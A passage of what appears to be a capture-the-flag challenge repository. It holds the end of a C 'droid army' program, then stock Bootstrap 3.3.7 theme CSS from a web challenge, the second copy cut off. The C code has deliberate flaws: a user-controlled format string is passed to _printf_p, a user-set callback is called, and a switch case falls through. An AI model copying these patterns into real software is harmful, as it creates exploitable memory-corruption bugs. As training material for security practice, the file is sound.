282 | 	for (size_t i = 0; i < sizeof(droid->target_planet); i++)
283 | 	{
284 | 		if (droid->target_planet[i] == 0x00) {
285 | 			has_null = true;
286 | 			continue;
287 | 		}
288 | 
289 | 		if (!(droid->target_planet[i] > 0x20 && droid->target_planet[i] < 0x7f)) {
290 | 			return 1;
291 | 		}
292 | 	}
293 | 
294 | 	if (!has_null) {
295 | 		return 1;
296 | 	}
297 | 
298 | 	has_null = false;
299 | 
300 | 	for (size_t i = 0; i < sizeof(droid->fmt); i++)
301 | 	{
302 | 		if (droid->fmt[i] == 0x00) {
303 | 			has_null = true;
304 | 			continue;
305 | 		}
306 | 
307 | 		if (!(droid->fmt[i] >= 0x20 && droid->fmt[i] < 0x7f) && !(droid->fmt[i] == 0x0a)) {
308 | 			return 1;
309 | 		}
310 | 	}
311 | 
312 | 	if (!has_null) {
313 | 		return 1;
314 | 	}
315 | 
316 | 	if (!droid->callback) {
317 | 		return 1;
318 | 	}
319 | 
320 | 	return 0;
321 | }
322 | 
323 | 
324 | void launch_attack(void)
325 | {
326 | 	printf("Launching attack!\n");
327 | 	SetStdHandle(STD_INPUT_HANDLE, NULL);
328 | 
329 | 	for (size_t i = 0; i < MAX_DROIDS; i++) {
330 | 		s_droid *droid = droids[i];
331 | 		if (!droid) {
332 | 			continue;
333 | 		}
334 | 
335 | 		if (!check_droid(droid)) {
336 | 			_printf_p(droid->fmt, droid->target_planet, rand() % 100, rand() % 100);
337 | 			droid->callback(droid->target_planet);
338 | 		} else {
339 | 			printf("Droid %zu failed the integrity check, cannot be used in the attack. Sending the droid to maintenance...\n", i);
340 | 		}
341 | 	}
342 | }
343 | 
344 | int main()
345 | {
346 | 	unsigned char choice;
347 | 
348 | 	setup_mitigations();
349 | 
350 | 	setvbuf(stdin, NULL, _IONBF, 0);
351 | 	setvbuf(stdout, NULL, _IONBF, 0);
352 | 	setvbuf(stderr, NULL, _IONBF, 0);
353 | 
354 | 	printf("--------------------------------------\n"
355 | 		   "            [DROID ARMY]\n"
356 | 		   " a - add droid\n"
357 | 		   " d - delete droid\n"
358 | 		   " c - change droid's target\n"
359 | 		   " l - attack all the worldz!\n"
360 | 		   "--------------------------------------\n");
361 | 
362 | 	while (true) {
363 | 		printf("Choice? ");
364 | 		scanf_s("%c", &choice, 1);
365 | 		getchar();
366 | 
367 | 		switch (choice) {
368 | 		case 'a':
369 | 			add_droid();
370 | 			break;
371 | 		case 'd':
372 | 			delete_droid();
373 | 		case 'c':
374 | 			change_droid_target();
375 | 			break;
376 | 		case 'l':
377 | 			launch_attack();
378 | 			return 0;
379 | 		}
380 | 	}
381 | 
382 |     return 0;
383 | }


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/css/bootstrap-theme.min.css:
--------------------------------------------------------------------------------
1 | /*!
2 |  * Bootstrap v3.3.7 (http://getbootstrap.com)
3 |  * Copyright 2011-2016 Twitter, Inc.
4 |  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
5 |  */.btn-danger,.btn-default,.btn-info,.btn-primary,.btn-success,.btn-warning{text-shadow:0 -1px 0 rgba(0,0,0,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075)}.btn-danger.active,.btn-danger:active,.btn-default.active,.btn-default:active,.btn-info.active,.btn-info:active,.btn-primary.active,.btn-primary:active,.btn-success.active,.btn-success:active,.btn-warning.active,.btn-warning:active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-danger.disabled,.btn-danger[disabled],.btn-default.disabled,.btn-default[disabled],.btn-info.disabled,.btn-info[disabled],.btn-primary.disabled,.btn-primary[disabled],.btn-success.disabled,.btn-success[disabled],.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-danger,fieldset[disabled] .btn-default,fieldset[disabled] .btn-info,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-success,fieldset[disabled] .btn-warning{-webkit-box-shadow:none;box-shadow:none}.btn-danger .badge,.btn-default .badge,.btn-info .badge,.btn-primary .badge,.btn-success .badge,.btn-warning .badge{text-shadow:none}.btn.active,.btn:active{background-image:none}.btn-default{text-shadow:0 1px 0 #fff;background-image:-webkit-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-o-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e0e0e0));background-image:linear-gradient(to bottom,#fff 0,#e0e0e0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#dbdbdb;border-color:#ccc}.btn-default:focus,.btn-default:hover{background-color:#e0e0e0;background-position:0 -15px}.btn-default.active,.btn-default:active{background-color:#e0e0e0;border-color:#dbdbdb}.btn-default.disabled,.btn-default.disabled.active,.btn-default.disabled.focus,.btn-default.disabled:active,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled],.btn-default[disabled].active,.btn-default[disabled].focus,.btn-default[disabled]:active,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default,fieldset[disabled] .btn-default.active,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:active,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#e0e0e0;background-image:none}.btn-primary{background-image:-webkit-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-o-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#265a88));background-image:linear-gradient(to bottom,#337ab7 0,#265a88 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#245580}.btn-primary:focus,.btn-primary:hover{background-color:#265a88;background-position:0 -15px}.btn-primary.active,.btn-primary:active{background-color:#265a88;border-color:#245580}.btn-primary.disabled,.btn-primary.disabled.active,.btn-primary.disabled.focus,.btn-primary.disabled:active,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled],.btn-primary[disabled].active,.btn-primary[disabled].focus,.btn-primary[disabled]:active,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-primary.active,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:active,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#265a88;background-image:none}.btn-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#419641));background-image:linear-gradient(to bottom,#5cb85c 0,#419641 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#3e8f3e}.btn-success:focus,.btn-success:hover{background-color:#419641;background-position:0 -15px}.btn-success.active,.btn-success:active{background-color:#419641;border-color:#3e8f3e}.btn-success.disabled,.btn-success.disabled.active,.btn-success.disabled.focus,.btn-success.disabled:active,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled],.btn-success[disabled].active,.btn-success[disabled].focus,.btn-success[disabled]:active,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success,fieldset[disabled] .btn-success.active,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:active,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#419641;background-image:none}.btn-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#2aabd2));background-image:linear-gradient(to bottom,#5bc0de 0,#2aabd2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#28a4c9}.btn-info:focus,.btn-info:hover{background-color:#2aabd2;background-position:0 -15px}.btn-info.active,.btn-info:active{background-color:#2aabd2;border-color:#28a4c9}.btn-info.disabled,.btn-info.disabled.active,.btn-info.disabled.focus,.btn-info.disabled:active,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled],.btn-info[disabled].active,.btn-info[disabled].focus,.btn-info[disabled]:active,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info,fieldset[disabled] .btn-info.active,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:active,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#2aabd2;background-image:none}.btn-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#eb9316));background-image:linear-gradient(to bottom,#f0ad4e 0,#eb9316 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#e38d13}.btn-warning:focus,.btn-warning:hover{background-color:#eb9316;background-position:0 -15px}.btn-warning.active,.btn-warning:active{background-color:#eb9316;border-color:#e38d13}.btn-warning.disabled,.btn-warning.disabled.active,.btn-warning.disabled.focus,.btn-warning.disabled:active,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled],.btn-warning[disabled].active,.btn-warning[disabled].focus,.btn-warning[disabled]:active,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning,fieldset[disabled] .btn-warning.active,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:active,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#eb9316;background-image:none}.btn-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c12e2a));background-image:linear-gradient(to bottom,#d9534f 0,#c12e2a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#b92c28}.btn-danger:focus,.btn-danger:hover{background-color:#c12e2a;background-position:0 -15px}.btn-danger.active,.btn-danger:active{background-color:#c12e2a;border-color:#b92c28}.btn-danger.disabled,.btn-danger.disabled.active,.btn-danger.disabled.focus,.btn-danger.disabled:active,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled],.btn-danger[disabled].active,.btn-danger[disabled].focus,.btn-danger[disabled]:active,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger,fieldset[disabled] .btn-danger.active,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:active,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#c12e2a;background-image:none}.img-thumbnail,.thumbnail{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#e8e8e8;background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{background-color:#2e6da4;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.navbar-default{background-image:-webkit-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-o-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#f8f8f8));background-image:linear-gradient(to bottom,#fff 0,#f8f8f8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075)}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-o-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dbdbdb),to(#e2e2e2));background-image:linear-gradient(to bottom,#dbdbdb 0,#e2e2e2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.075);box-shadow:inset 0 3px 9px rgba(0,0,0,.075)}.navbar-brand,.navbar-nav>li>a{text-shadow:0 1px 0 rgba(255,255,255,.25)}.navbar-inverse{background-image:-webkit-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-o-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#3c3c3c),to(#222));background-image:linear-gradient(to bottom,#3c3c3c 0,#222 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-o-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#080808),to(#0f0f0f));background-image:linear-gradient(to bottom,#080808 0,#0f0f0f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.25);box-shadow:inset 0 3px 9px rgba(0,0,0,.25)}.navbar-inverse .navbar-brand,.navbar-inverse .navbar-nav>li>a{text-shadow:0 -1px 0 rgba(0,0,0,.25)}.navbar-fixed-bottom,.navbar-fixed-top,.navbar-static-top{border-radius:0}@media (max-width:767px){.navbar .navbar-nav .open .dropdown-menu>.active>a,.navbar .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}}.alert{text-shadow:0 1px 0 rgba(255,255,255,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05)}.alert-success{background-image:-webkit-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#c8e5bc));background-image:linear-gradient(to bottom,#dff0d8 0,#c8e5bc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);background-repeat:repeat-x;border-color:#b2dba1}.alert-info{background-image:-webkit-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#b9def0));background-image:linear-gradient(to bottom,#d9edf7 0,#b9def0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);background-repeat:repeat-x;border-color:#9acfea}.alert-warning{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#f8efc0));background-image:linear-gradient(to bottom,#fcf8e3 0,#f8efc0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);background-repeat:repeat-x;border-color:#f5e79e}.alert-danger{background-image:-webkit-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-o-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#e7c3c3));background-image:linear-gradient(to bottom,#f2dede 0,#e7c3c3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);background-repeat:repeat-x;border-color:#dca7a7}.progress{background-image:-webkit-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#f5f5f5));background-image:linear-gradient(to bottom,#ebebeb 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x}.progress-bar{background-image:-webkit-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-o-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#286090));background-image:linear-gradient(to bottom,#337ab7 0,#286090 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);background-repeat:repeat-x}.progress-bar-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#449d44));background-image:linear-gradient(to bottom,#5cb85c 0,#449d44 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);background-repeat:repeat-x}.progress-bar-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#31b0d5));background-image:linear-gradient(to bottom,#5bc0de 0,#31b0d5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);background-repeat:repeat-x}.progress-bar-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#ec971f));background-image:linear-gradient(to bottom,#f0ad4e 0,#ec971f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);background-repeat:repeat-x}.progress-bar-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c9302c));background-image:linear-gradient(to bottom,#d9534f 0,#c9302c 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);background-repeat:repeat-x}.progress-bar-striped{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.list-group{border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{text-shadow:0 -1px 0 #286090;background-image:-webkit-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2b669a));background-image:linear-gradient(to bottom,#337ab7 0,#2b669a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);background-repeat:repeat-x;border-color:#2b669a}.list-group-item.active .badge,.list-group-item.active:focus .badge,.list-group-item.active:hover .badge{text-shadow:none}.panel{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.05);box-shadow:0 1px 2px rgba(0,0,0,.05)}.panel-default>.panel-heading{background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.panel-primary>.panel-heading{background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.panel-success>.panel-heading{background-image:-webkit-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#d0e9c6));background-image:linear-gradient(to bottom,#dff0d8 0,#d0e9c6 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);background-repeat:repeat-x}.panel-info>.panel-heading{background-image:-webkit-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#c4e3f3));background-image:linear-gradient(to bottom,#d9edf7 0,#c4e3f3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);background-repeat:repeat-x}.panel-warning>.panel-heading{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#faf2cc));background-image:linear-gradient(to bottom,#fcf8e3 0,#faf2cc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);background-repeat:repeat-x}.panel-danger>.panel-heading{background-image:-webkit-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-o-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#ebcccc));background-image:linear-gradient(to bottom,#f2dede 0,#ebcccc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);background-repeat:repeat-x}.well{background-image:-webkit-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#e8e8e8),to(#f5f5f5));background-image:linear-gradient(to bottom,#e8e8e8 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x;border-color:#dcdcdc;-webkit-box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1)}
6 | /*# sourceMappingURL=bootstrap-theme.min.css.map */


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/css/bootstrap-theme.css:
--------------------------------------------------------------------------------
  1 | /*!
  2 |  * Bootstrap v3.3.7 (http://getbootstrap.com)
  3 |  * Copyright 2011-2016 Twitter, Inc.
  4 |  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
  5 |  */
  6 | .btn-default,
  7 | .btn-primary,
  8 | .btn-success,
  9 | .btn-info,
 10 | .btn-warning,
 11 | .btn-danger {
 12 |   text-shadow: 0 -1px 0 rgba(0, 0, 0, .2);
 13 |   -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075);
 14 |           box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075);
 15 | }
 16 | .btn-default:active,
 17 | .btn-primary:active,
 18 | .btn-success:active,
 19 | .btn-info:active,
 20 | .btn-warning:active,
 21 | .btn-danger:active,
 22 | .btn-default.active,
 23 | .btn-primary.active,
 24 | .btn-success.active,
 25 | .btn-info.active,
 26 | .btn-warning.active,
 27 | .btn-danger.active {
 28 |   -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
 29 |           box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
 30 | }
 31 | .btn-default.disabled,
 32 | .btn-primary.disabled,
 33 | .btn-success.disabled,
 34 | .btn-info.disabled,
 35 | .btn-warning.disabled,
 36 | .btn-danger.disabled,
 37 | .btn-default[disabled],
 38 | .btn-primary[disabled],
 39 | .btn-success[disabled],
 40 | .btn-info[disabled],
 41 | .btn-warning[disabled],
 42 | .btn-danger[disabled],
 43 | fieldset[disabled] .btn-default,
 44 | fieldset[disabled] .btn-primary,
 45 | fieldset[disabled] .btn-success,
 46 | fieldset[disabled] .btn-info,
 47 | fieldset[disabled] .btn-warning,
 48 | fieldset[disabled] .btn-danger {
 49 |   -webkit-box-shadow: none;
 50 |           box-shadow: none;
 51 | }
 52 | .btn-default .badge,
 53 | .btn-primary .badge,
 54 | .btn-success .badge,
 55 | .btn-info .badge,
 56 | .btn-warning .badge,
 57 | .btn-danger .badge {
 58 |   text-shadow: none;
 59 | }
 60 | .btn:active,
 61 | .btn.active {
 62 |   background-image: none;
 63 | }
 64 | .btn-default {
 65 |   text-shadow: 0 1px 0 #fff;
 66 |   background-image: -webkit-linear-gradient(top, #fff 0%, #e0e0e0 100%);
 67 |   background-image:      -o-linear-gradient(top, #fff 0%, #e0e0e0 100%);
 68 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#e0e0e0));
 69 |   background-image:         linear-gradient(to bottom, #fff 0%, #e0e0e0 100%);
 70 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);
 71 |   filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
 72 |   background-repeat: repeat-x;
 73 |   border-color: #dbdbdb;
 74 |   border-color: #ccc;
 75 | }
 76 | .btn-default:hover,
 77 | .btn-default:focus {
 78 |   background-color: #e0e0e0;
 79 |   background-position: 0 -15px;
 80 | }
 81 | .btn-default:active,
 82 | .btn-default.active {
 83 |   background-color: #e0e0e0;
 84 |   border-color: #dbdbdb;
 85 | }
 86 | .btn-default.disabled,
 87 | .btn-default[disabled],
 88 | fieldset[disabled] .btn-default,
 89 | .btn-default.disabled:hover,
 90 | .btn-default[disabled]:hover,
